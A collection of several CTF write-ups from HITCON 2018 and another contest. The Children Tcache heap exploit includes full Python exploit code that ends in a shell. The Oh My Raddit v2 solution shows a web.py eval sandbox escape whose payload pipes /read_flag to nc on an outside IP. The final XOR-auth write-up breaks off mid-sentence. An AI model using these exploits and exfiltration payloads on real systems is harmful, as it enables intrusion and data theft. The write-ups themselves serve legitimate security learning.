# HITCON CTF Quals 2018: Children Tcache (pwn, 246 pts)###### By @Vtec234 In this pwn, we get a binary, `children_tcache` and the remote libc. The description reads: > Try more tcache :) This is related to another challenge, __Baby Tcache__, which is almost the same binary, but provides no easy way to leak addresses, so I decided to start with this one. ## Where is the bug? Analysing the binary, we see that it is a typical heap challenge. We can `malloc` chunks of any size up to `0x2000`, `free` them and `show` their contents using `puts`. Chunk contents can only be written right after allocation, which makes things a little more difficult. All hardening is enabled - `PIE`, `NX`, full `RELRO`. In the program itself, pointers in the global allocations array are properly zeroed, so we don't have UAF. What's more, the authors, expressing their appreciation for Russian, decided to clear the memory (using `memset`) after every deallocation using `0xda` bytes instead of plain zeroes. The default installation of libc 2.27 from Ubuntu 18.04 is used. For us, this means that [tcache](http://tukan.farm/2017/07/08/tcache/) is present and a lot of [security checks](https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks.html) are enabled. For debugging, I quickly spun up a VM with the right environment. Let's look a bit closer at `new_heap` to find our bug: ```cvoid __cdecl new_heap() { signed int i; // [rsp+Ch] [rbp-2034h] char *heap_buf; // [rsp+10h] [rbp-2030h] unsigned __int64 size; // [rsp+18h] [rbp-2028h] char stack_buf[8208]; // [rsp+20h] [rbp-2020h] unsigned __int64 _canary; // [rsp+2038h] [rbp-8h] _canary = __readfsqword(0x28u); memset(stack_buf, 0, 8208uLL); for ( i = 0; ; ++i ) { if ( i > 9 ) { puts(":("); return; } if ( !bss_allocs[i] ) break; } printf("Size:"); size = get_ll(); if ( size > 8192 ) exit(-2); heap_buf = (char *)malloc(size); if ( !heap_buf ) exit(-1); printf("Data:"); read_into(stack_buf, size); strcpy(heap_buf, stack_buf); bss_sizes[i] = size;}``` The function `read_into` reads up to `size` bytes of our input. The stack buffer is zeroed, so we don't have an arbitrary overflow, _but_ because `strcpy` always appends a null byte at the end, we can zero the last byte of the next chunk's `size` field and unset the `PREV_INUSE` bit. We also control the previous qword, so we can set `prev_size`. See [here](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/) for a visual guide to the heap layout. ## Chunk overlap To exploit the null overflow, we create this heap layout: ![Initial heap](images/heap_1.png) using the following code: ```pythonSIZE_A = 0xf8 # tcache-able, not fastbinnableSIZE_B = 0x18 # tcache-able new(SIZE_A, 'A1')new(SIZE_B, 'B')new(SIZE_A, 'A2') # fill tcache for SIZE_A to be able to free it into smallbinnew_range(SIZE_A, 7, 'A_tcache_fill')del_range(range(3, 10)) delete(0) # smallbin freedelete(1) # tcache # unset PREV_INUSE in A2 and move backwards over region to clear# the 0xdadadafor i in range(0, 6): new(SIZE_B - i, 'B'*(SIZE_B - i)) delete(0) # using tcache all along # set prev_size to reach A1new(SIZE_B - 6, 'B'*(SIZE_B - 8) + p16(SIZE_A+8 + SIZE_B+8))``` Some things to note:- The maximum size of the free chunk list in any tcache bin is 7. I fill the tcache for `SIZE_A` to put valid `fd` and `bk` pointers into `A1`. I thought this was necessary for backwards consolidation to work, but it seems it is not.- Because of the above, there are a bunch of tcached chunks on the heap after `A2` (not shown). This is good, because we don't want it to merge into `top`.- To deal with the `0xda` bytes (which would make `A2->prev_size` incorrect), we can recreate `B` several times, decreasing the size by one byte each time. This will zero the region. `A2->PREV_INUSE` not being set is not a problem, because `B` goes into tcache immediately and doesn't check `A2`. The sizes of `B` are chosen so that they all fall within the same bin due to alignment.- The user size of `A2` is `0xf8`, resulting in a chunk size of `0x100`, which has a null byte at the end. Thanks to this, the null overflow doesn't change the chunk size of `A2`. Having forged a layout where `A2->prev_size` goes all the way back to `A1`, we can free `A2`, triggering backwards consolidation: ```pythondelete(2) # consolidate backwards into a chunk of size..AB_SZ = 2*SIZE_A + SIZE_B + 16``` and have the new, free chunk in a smallbin overlap `B`: ![Overlapping chunks](images/heap_2.png) ## Remainder chunk Here comes the cool part. We don't know any addresses (`PIE`, remember), so we need a way to print one. The large chunk is free, so we can retrieve it. Since `B` is still allocated and available in slot `0`, we can `show` its contents. My first idea was to overflow enough bytes from the large chunk to reach `B->next` with `B` interpreted as a tcache entry. Freeing `B` would make `B->next` point to the heap - and then print the large chunk. Unfortunately, this overwrites the size of `B` and is generally unwieldy. A much better idea is to split the large chunk in two at a precisely calculated boundary by allocating part of it. Because it's in a smallbin, the split will put `fd` and `bk` pointers into the remaining part, and since `libc` prefers reusing the latest _remainder chunk_ (due to data locality), it will be linked directly to `main_arena`, which we can leak with `show(B)` Here's another illustration for your viewing pleasure: ![Leaky heap](images/heap_3.png) and the code to create the corresponding heap state: ```python# want to allocate a chunk of SIZE_A from large chunk AB_SZ here..# but tcache will take precedence, so need to empty tcachenew_range(SIZE_A, 7, 'A_tcache_slurp') # split large chunk into twonew(SIZE_A, 'A1') # now AB has been split into 0x100 and 0x120 - the 0x120 is readable by us through index 0, originally known as Blibc_base = u64(show(0)[:6].ljust(8, '\x00')) - 0x3ebca0print "libc_base: 0x{:x}".format(libc_base) # ! UNIMPORTANT BELOW, just rearranging the allocations# to use lower slot indices - I was really confused :|del_range(range(1,7))# use tcache space to set slot 1 to be our initial chunkdelete(8)new(SIZE_A, 'HUE')delete(7) # send final chunk to SIZE_A tcache``` ## Tcache poisoning After leaking the libc base, we can perform a tcache poisoning attack. Put simply, we trick `malloc` into returning a pointer to an arbitrary address, in this case `__malloc_hook`. By overwriting it with a shell gadget, we make the next `malloc` invocation spawn a shell. Obtaining arbitrary pointers from smallbins is generally quite difficult and requires forging fake chunks. Luckily for us, `glibc` developers like their code fast, not secure, resulting in a complete lack of checks in the tcache implementation. Each tcache bin is a singly linked list (of length 7 at most), with `tcache_entry::next` residing where `free_chunk::fd` would be in a free smallbin chunk. By overwriting this address and leveraging a double free (using the split remainder chunk, which starts at the same point as `B`), we can put arbitrary data in the list and have it returned later. ```pythonMALLOC_HOOK = 0x003ebc30 # obtain B from malloc again, into slot 2new(SIZE_B, 'doubler') delete(0) # free Bdelete(2) # free it again. B->next now loops to itself # allocate B and store the address of __malloc_hook in B->nextnew(SIZE_B, p64(libc_base + MALLOC_HOOK))new(SIZE_B, 'whatever') # now tcache->bins[idx_b] is __malloc_hook :D``` ## Shell Finally, the poisoned tcache will give us `&__malloc_hook` as a new chunk, which we can overwrite with a gadget. ```python# ------------------ ONE GADGET -------------------OG = 0x4f322 # execve("/bin/sh", rsp+0x40, environ)# constraints:# [rsp+0x40] == NULLnew(SIZE_B, p64(libc_base + OG)) t.sendlineafter('choice: ', '1')t.sendlineafter('Size:', '1337') # trigger malloc t.sendline('cat /home/children_tcache/flag') # <3t.interactive()```` > hitcon{l4st_rem41nd3r_1s_v3ry_us3ful} ## Baby? I mentioned in the beginning that __Baby Tcache__ is very similar. Indeed, the only differences are that `show` doesn't exist and that for reading user data into new chunks `read` is used instead of `strcpy` (also, `buf[size]` is always zeroed, but it doesn't matter too much). The former means that to do anything useful we probably have to do a partial overwrite of an existing libc pointer. The latter means that we can read in null bytes and perform partial overwrites! So it seems the plan could work. The existing exploit largely works with some small changes - exercise for you :) - until the leak part. My idea was to similarly use a pointer to `main_arena` and partially overwrite it into a `__malloc_hook` address. Unfortunately, when allocating `B` in my PoC, `malloc` clears the first qword, zeroing the precious pointer. I tried to work around this, but ran out of time - so I'm hoping for writeups from teams who did solve it!
# ev3-basic---**Points:** 100 | **Solves:** 255/1789 | **Category:** Misc Find the flag. [Download](ev3basic-1e0165aa826649b7e3c5869a62faf8ba.tar.gz) Author: Jeffxx --- [Bahasa Indonesia](#bahasa-indonesia) ## EnglishIn this challenge, given tar files contains image LEGO EV3 printing partial flag on screen and pklg files which contains data transmission on RFCOMM protocol. Use filter on wireshark to see what data send to LEGO EV3 device. ```bluetooth.dst == 00:16:53:61:30:c1 && btrfcomm``` After we apply filter, we can see much packet have packet length between 32 and 34. From this we analyze 2 packet data which have length between that. ```0000 02 0c 20 1b 00 17 00 40 00 0b ef 27 11 00 2a 00 .. ....@...'..*.0010 00 00 00 84 05 01 0a 81 28 84 68 00 84 00 80 9a ........(.h..... 0000 02 0c 20 1b 00 17 00 40 00 0b ef 27 11 00 2a 00 .. ....@...'..*.0010 00 00 00 84 05 01 14 81 28 84 69 00 84 00 80 9a ........(.i.....``` Between this 2 packet there is 2 byte different, on offset `0x16` and `0x1a`. On offset `0x1a` has value `h` and `i`, we suspect that is flag pieces. After we compare with given image, character `h` and `i` side by side. So, we concludes that offset `0x16` is `x coordinate` of screen LEGO EV3. After we know that, we can extract x coordinate, y coordinate, and char printed from packet with length between 32 and 34. After that we just need to sort data. The following is the script used. ```python flagp = ["0a:28:68", "14:28:69", "1e:28:74", "1e:44:5f", "14:52:6f", "0a:36:5f", "1e:52:70", "14:36:63", "0a:44:6e", "14:44:64", "1e:36:6f", "0a:52:6c", "64:52:7d", "46:28:7b", "5a:28:31", "3c:28:6e", "28:28:63", "6e:28:64", "32:28:6f", "50:28:6d", "78:36:69", "28:52:65", "46:52:6b", "3c:44:72", "28:44:66", "5a:44:61", "3c:36:75", "64:36:61", "32:44:69", "78:28:35", "64:28:6e", "5a:52:74", "78:44:5f", "64:44:72", "46:36:6e", "50:52:69", "32:36:6d", "28:36:6d", "5a:36:63", "46:44:6d", "6e:36:74", "50:36:69", "3c:52:5f", "50:44:77", "32:52:72", "6e:44:65", "8c:44:65", "a0:36:61", "96:44:76", "82:44:64", "a0:44:65", "96:28:72", "82:36:6f", "a0:28:6d", "8c:28:30", "96:36:5f", "82:28:74", "8c:36:6e"] flag = {} def parse(sc): temp = sc.split(":") x = int(temp[0], 16) y = int(temp[1], 16) c = int(temp[2], 16) flag[y*16 + x] = chr(c) for f in flagp: parse(f) sflag = "" for i in sorted(flag): sflag += flag[i] print sflag``` Flag: **hitcon{m1nd5t0rm_communication_and_firmware_developer_kit}** ## Bahasa IndonesiaPada challenge ini diberikan sebuah file tar yang berisi sebuah gambar serta file pklg yang dapat dibuka dengan wireshark. File gambar berisi LEGO EV3 yang menampilkan potongan flag. Sedangkan file pklg ini berisi transmisi data pada protokol RFCOMM. Langsung lakukan filter pada wireshark untuk melihat apa yang dikirim ke device LEGO EV3. ```bluetooth.dst == 00:16:53:61:30:c1 && btrfcomm``` Setelah dilakukan filter dapat dilihat ada banyak packet yang memiliki panjang sekitar 32-34. Dari situ kita lakukan analisis pada 2 paket pertama yang memiliki panjang tersebut. ```0000 02 0c 20 1b 00 17 00 40 00 0b ef 27 11 00 2a 00 .. ....@...'..*.0010 00 00 00 84 05 01 0a 81 28 84 68 00 84 00 80 9a ........(.h..... 0000 02 0c 20 1b 00 17 00 40 00 0b ef 27 11 00 2a 00 .. ....@...'..*.0010 00 00 00 84 05 01 14 81 28 84 69 00 84 00 80 9a ........(.i.....``` Di antara kedua packet tersebut hanya terdapat 2 byte yang berbeda, yaitu pada offset `0x16` dan `0x1a`. Pada offset `0x1a` berisi huruf `h` dan `i`, kita mencurigai bahwa ini potongan flag. Setelah dihubungkan dengan gambar yang diberikan, letak huruf `h` dan `i` bersebelahan. Sehingga kita mengambil kesimpulan offset `0x16` adalah `koordinat x` dari layar LEGO EV3. Setelah mengetahui hal tersebut, kita lakukan ekstraksi data yang memiliki panjang 32-34. Data yang kita ambil berupa koordinat x, koordinat y, serta huruf yang diprint. Kemudian sort data yang kita dapatkan. Berikut adalah script yang digunakan. ```python flagp = ["0a:28:68", "14:28:69", "1e:28:74", "1e:44:5f", "14:52:6f", "0a:36:5f", "1e:52:70", "14:36:63", "0a:44:6e", "14:44:64", "1e:36:6f", "0a:52:6c", "64:52:7d", "46:28:7b", "5a:28:31", "3c:28:6e", "28:28:63", "6e:28:64", "32:28:6f", "50:28:6d", "78:36:69", "28:52:65", "46:52:6b", "3c:44:72", "28:44:66", "5a:44:61", "3c:36:75", "64:36:61", "32:44:69", "78:28:35", "64:28:6e", "5a:52:74", "78:44:5f", "64:44:72", "46:36:6e", "50:52:69", "32:36:6d", "28:36:6d", "5a:36:63", "46:44:6d", "6e:36:74", "50:36:69", "3c:52:5f", "50:44:77", "32:52:72", "6e:44:65", "8c:44:65", "a0:36:61", "96:44:76", "82:44:64", "a0:44:65", "96:28:72", "82:36:6f", "a0:28:6d", "8c:28:30", "96:36:5f", "82:28:74", "8c:36:6e"] flag = {} def parse(sc): temp = sc.split(":") x = int(temp[0], 16) y = int(temp[1], 16) c = int(temp[2], 16) flag[y*16 + x] = chr(c) for f in flagp: parse(f) sflag = "" for i in sorted(flag): sflag += flag[i] print sflag``` Flag: **hitcon{m1nd5t0rm_communication_and_firmware_developer_kit}**
### Oh My Raddit v2 (bookgin, kaibro, qazwsxedcrfvtg14, hortune,written by bookgin) We should get shell in order to retrieve the flag in Oh My raddit 2. #### Arbitrary File Read Since we have the DES key now, we can first decrypt the ciphertext of the download command:```m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf``` Let's try specifying the path now. Does it work? Yes, it works!```m=d&f=app.py``` Read the following files: - app.py: source code- db.db: but nothing interesting in the database- /proc/self/environ: the full path of app.py is /home/orange/w/app.py- /proc/self/cmdline: python app.py- /proc/self/maps: python 2.7- /flag: Internal Server Error, which means the file exists but cannot be read- requirements.txt: `pycrypto==2.6.1`, `web.py==0.38` (web.py is outdated) Here is the source code of `app.py`: ```python# coding: UTF-8import osimport webimport urllibimport urlparsefrom Crypto.Cipher import DES web.config.debug = FalseENCRPYTION_KEY = 'megnnaro' urls = ( '/', 'index')app = web.application(urls, globals())db = web.database(dbn='sqlite', db='db.db') def encrypt(s): length = DES.block_size - (len(s) % DES.block_size) s = s + chr(length)*length cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) return cipher.encrypt(s).encode('hex') def decrypt(s): try: data = s.decode('hex') cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB) data = cipher.decrypt(data) data = data[:-ord(data[-1])] return dict(urlparse.parse_qsl(data)) except Exception as e: print e.message return {} def get_posts(limit=None): records = [] for i in db.select('posts', limit=limit, order='ups desc'): tmp = { 'm': 'r', 't': i.title.encode('utf-8', 'ignore'), 'u': i.id, } tmp['param'] = encrypt(urllib.urlencode(tmp)) tmp['ups'] = i.ups if i.file: tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file})) else: tmp['file'] = '' records.append( tmp ) return records def get_urls(): urls = [] for i in [10, 100, 1000]: data = { 'm': 'p', 'l': i } urls.append( encrypt(urllib.urlencode(data)) ) return urls class index: def GET(self): s = web.input().get('s') if not s: return web.template.frender('templates/index.html')(get_posts(), get_urls()) else: s = decrypt(s) method = s.get('m', '') if method and method not in list('rdp'): return 'param error' if method == 'r': uid = s.get('u') record = db.select('posts', where='id=$id', vars={'id': uid}).first() if record: raise web.seeother(record.url) else: return 'not found' elif method == 'd': file = s.get('f') if not os.path.exists(file): return 'not found' name = os.path.basename(file) web.header('Content-Disposition', 'attachment; filename=%s' % name) web.header('Content-Type', 'application/pdf') with open(file, 'rb') as fp: data = fp.read() return data elif method == 'p': limit = s.get('l') return web.template.frender('templates/index.html')(get_posts(limit), get_urls()) else: return web.template.frender('templates/index.html')(get_posts(), get_urls()) if __name__ == "__main__": app.run()``` #### Browsing source code / issues First I found [this issue](https://github.com/webpy/webpy/commit/becbfb92d7601ddb0aededfdc9a91696bde2430f#diff-bab5d2282d3362e44ff9cea603fb052f), and it's reported by Orange Tsai, who is the author of the challenge. Gotcha! This issue is fixed in webpy 0.39, but the server side still use 0.38! Thus it's vulnerable to SQLite injection through `limit` parameter. @kaibro found [another issue](https://github.com/webpy/webpy/commit/8fa67f40f212fbfe51aa5493fc377c683eff9925). They try to fix `eval` code execution by passing a empty builtin to it. ```pythondef reparam(string_, dictionary): """ Takes a string and a dictionary and interpolates the string using values from the dictionary. Returns an `SQLQuery` for the result. >>> reparam("s = $s", dict(s=True)) <sql: "s = 't'"> >>> reparam("s IN $s", dict(s=[1, 2])) <sql: 's IN (1, 2)'> """ dictionary = dictionary.copy() # eval mucks with it # disable builtins to avoid risk for remote code exection. dictionary['__builtins__'] = object() vals = [] result = [] for live, chunk in _interpolate(string_): if live: v = eval(chunk, dictionary) result.append(sqlquote(v)) else: result.append(chunk) return SQLQuery.join(result, '')``` When `eval` takes the second parameter with builtin in it, the current builtin will be replaced. In the source code the builtins is set to an empty object. In other words, passing builtin is similarly to replace the current namespace. ```python>>> eval('__builtins__',{'__builtins__': object})<type 'object'>>>> dir(eval('__builtins__',{'__builtins__': object}))['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']>>> eval('__builtins__')<module '__builtin__' (built-in)>>>> dir(eval('__builtins__'))['ArithmeticError', ... ,'xrange', 'zip']``` However, replacing the namespace doesn't prevent us to retrieve other exploitable classes. We just cannot directly use eval, `__import__` .... First, list all the classes through `[].__class__.__base__.__subclasses__()`: `db.select('posts', limit="slowpoke ${[].__class__.__base__.__subclasses__()}", order='ups desc')` ```python[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'time.struct_time'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <class 'threading._Verbose'>, <type 'select.epoll'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'subprocess.Popen'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'functools.partial'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'web.webapi.OK'>, <class 'web.webapi.Created'>, <class 'web.webapi.Accepted'>, <class 'web.webapi.NoContent'>, <class 'web.db.SQLParam'>, <class 'web.db.SQLQuery'>, <type 'bz2.BZ2File'>, <type 'bz2.BZ2Compressor'>, <type 'bz2.BZ2Decompressor'>, <type 'pwd.struct_passwd'>, <type 'grp.struct_group'>, <class 'web.template.SafeVisitor'>, <class 'web.template.TemplateResult'>, <class 'web.form.Form'>, <class 'web.form.Input'>, <class 'web.session.Session'>, <type 'sqlite3.Row'>, <type 'sqlite3.Cursor'>, <type 'sqlite3.Connection'>, <type 'sqlite3Node'>, <type 'sqlite3.Cache'>, <type 'sqlite3.Statement'>, <type 'sqlite3.PrepareProtocol'>]``` Take a closer look. There is `<class 'subprocess.Popen'>` class, so it's trivial to RCE now! My payload:```python#!/usr/bin/env python3import requestsfrom Crypto.Cipher import DES def encrypt(s): raw = s.encode() pad = 8 - len(raw) % 8 raw += bytes([pad] * pad) print(raw) return DES.new('megnnaro').encrypt(raw).hex() def decrypt(s): raw = DES.new('megnnaro').decrypt(bytes.fromhex(s)) return raw[:-raw[-1]].decode()# <class 'subprocess.Popen'>h = encrypt("m=p&l=${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc 240.240.240.240 5678',shell=1)}")print(requests.get('http://13.115.255.46/?s=' + h).text)``` It's worth to mention @qazwsxedcrfvtg14 's more creative payload. I can't believe that an unbounded method can access `__globals__` in Python 2.7 ! ```python([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__).__globals__['__builtins__']['__import__']('os').system('sleep 10')``` The flag is `hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}`.
Use null byte overflow to get overlapping chunks. Allocate chunk in stdout->flags and partial overwrite IO_write_base to get leak. Then allocation at `__free_hook` and overwrite with one_gadget.
### TL;DRLeak the source code via path traversal, then patch the beginning of a binary to ```#!/bin/busybox shsh```to confuse `minijail0` to assume the interpreter is dynamically linked (when it is in fact statically linked), making its `LD_PRELOAD` trick useless.
## Web Auth3ntication challenge **Category:** javascript **Points:** 200 ### Description```Login if you can. It is protected by so called secure algorithm. Let's see how secure it is... http://35.200.218.73/``` ### SolutionThis challenge is a XOR authentication system implemented with javascript :(.To understand the logic of the challenge we should first look at the provided code: ```html<form action="#" method="post"> <label>Username</label> <input class="form-control" type="text" name="username" id="cuser" placeholder="Username" /> <label>Password</label> <input type="password" class="form-control" name="password" id="cpass" placeholder="Password" /> <input type="submit" style="margin-top: 12px;" value="Login" class="form-control btn btn-success c_submit" /> </form><script type="text/javascript"> $(".c_submit").click(function(event) { event.preventDefault(); var u = $("#cpass").val(); var k = $("#cuser").val(); var func = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e"; buf = ""; if(k.length == 9) { for(i = 0, j = 0; i < func.length; i++) { c = parseInt(func.charCodeAt(i)); c = c ^ k.charCodeAt(j); if(++j == k.length) { j = 0; } buf += eval('"' + a(x(c)) + '"'); } eval(buf); } else { $("#cresponse").html("<div class='alert alert-danger'>Invalid creds...</div>"); } }); function a(h) { if(h.length != 2) { h = "\x30" + h; } return "\x5c\x78" + h; } function x(d) { if(d < 0) { d = 0xFFFFFFFF + d + 1; } return d.toString(16).toUpperCase(); }</script>``` As you can see, the provided username should be at least 9 characters. the pw parameter (password) is not even used in any part of code. So we ignore it. By looking at the code, we understand that the provided user value, will be XORed with the ```func``` variable 9 characters 9 characters, chunk by chunk.So we know that username is actaully the key for xor encryption. At first glance, Code look a little difficult to understand but after digging deeper, u can see that it just does a simple xor as follow: - Get ascii equivalent value for each character of func and provided user value, char by char. (if reached 9, then reset and start from first character of user) - Xor parseInt(func.charCodeAt(i)) ^ k.charCodeAt(j) => for example 13 ^ 97 (chr("a") == 97) - Then return it back to ascii with x() and a(h) function. These functions just put \x before each xored value and x(h) add a 0 before hex value if len!=2. - And finally all xored values are added together and stored in buff value which will be passed to ```eval``` function at end. As you can see logic is simple. but we need to find the key. HOW! I tried many different solutions, including looking char by char and check if response is started with any of codes below to find key form it: ```- var flag- $("#cresponse- console.logflag = ```and so on. but none of them worked. I used ```http://xor.pw/#``` for testing this values. ### Final solution So after working on challenge manually, this solution came to mind - First iterate over all characters of func. choose a text that u are sure is in the decrypted value. for example "flag" - create a temp user value with same size of func. then move this text one by one to right and each time do the same functionality xor to it. (I mean the exact functionallity that authencation system is using, by xoring a user input value with a func variable.) - Each time you're doing this, store the key. which is 9 characters at the position of that key. (you should fix offsets. for example if it's in the second iteration, key should be like this ```x<key>xxxx``` and so on.) - Now again provide this key to the provided code at challenge and print output - You will have 214 different results, you should look through them and see if any is readable? Here is the code: ```javascript var u = $("#cpass").val();var k = $("#cuser").val();var func = "\x0d\x13\x45\x17\x48\x09\x5e\x4b\x17\x3c\x1a\x1f\x2b\x1b\x7a\x0c\x1f\x66\x0b\x1a\x3e\x51\x0b\x41\x11\x58\x17\x4d\x55\x16\x42\x01\x52\x4b\x0f\x5a\x07\x00\x00\x07\x06\x40\x4d\x07\x5a\x07\x14\x19\x0b\x07\x5a\x4d\x03\x47\x01\x13\x43\x0b\x06\x50\x06\x13\x7a\x02\x5d\x4f\x5d\x18\x09\x41\x42\x15\x59\x48\x4d\x4f\x59\x1d\x43\x10\x15\x00\x1a\x0e\x17\x05\x51\x0d\x1f\x1b\x08\x1a\x0e\x03\x1c\x5d\x0c\x05\x15\x59\x55\x09\x0d\x0b\x41\x0e\x0e\x5b\x10\x5b\x01\x0d\x0b\x55\x17\x02\x5a\x0a\x5b\x05\x10\x0d\x52\x43\x40\x15\x46\x4a\x1d\x5f\x4a\x14\x48\x4b\x40\x5f\x55\x10\x42\x15\x14\x06\x07\x46\x01\x55\x16\x42\x48\x10\x4b\x49\x16\x07\x07\x08\x11\x18\x5b\x0d\x18\x50\x46\x5c\x43\x0a\x1c\x59\x0f\x43\x17\x58\x11\x04\x14\x48\x57\x0f\x0a\x46\x17\x48\x4a\x07\x1a\x46\x0c\x19\x12\x5a\x22\x1f\x0d\x06\x53\x43\x1b\x54\x17\x06\x1a\x0d\x1a\x50\x43\x18\x5a\x16\x07\x14\x4c\x4a\x1d\x1e";buf = ""; // create a temp key (we should fill it later)tmp = ""for (z=0; z<func.length; z++) { tmp += "a";} // a simple function to shift key based on position on tmpString.prototype.replaceAt=function(index, replacement) { return this.substr(0, index) + replacement+ this.substr(index + replacement.length);} // this is the known text that we know will be in the decrypted response.var knownText = "\").html(\""; // main functionallityfor(w=0; w<func.length;w++) { buf = "" // var g = tmp; var arr = g.split(""); arr.splice(w, knownText.length, knownText); var result = arr.join(""); k = result.substring(0, func.length); for(i = 0, j = 0; i < func.length; i++) { c = parseInt(func.charCodeAt(i)); c = c ^ k.charCodeAt(j); if(++j == k.length) { j = 0; } buf += eval('"' + a(x(c)) + '"'); } var temp = buf.substring(w, w+knownText.length); console.log(temp); // now temp is the key if the response contains knownText value. // Now fix position of temp in key, if len<9, add a -> but in the right position. tt = 'aaaaaaaaa'; for (gg=0; gg<knownText.length; gg++) { var position = ((w%9)+gg)%9; tt = tt.replaceAt(position, temp[gg]) } console.log(tt); buf = ""; // Now we imagine that we have the key. so decrypt it with this flag for func.length times. k = tt; for(i = 0, j = 0; i < func.length; i++) { c = parseInt(func.charCodeAt(i)); c = c ^ k.charCodeAt(j); if(++j == k.length) { j = 0; } buf += eval('"' + a(x(c)) + '"'); } console.log(buf); console.log(buf.length); // eval(buf); console.log("============");} function a(h) { if(h.length != 2) { // \x30 == 0 h = "\x30" + h; } // \x5c\x78 == \x return "\x5c\x78" + h;} function x(d) { if(d < 0) { d = 0xFFFFFFFF + d + 1; } return d.toString(16).toUpperCase();}``` I tried different values for ```knownText``` variable. non of them worked including 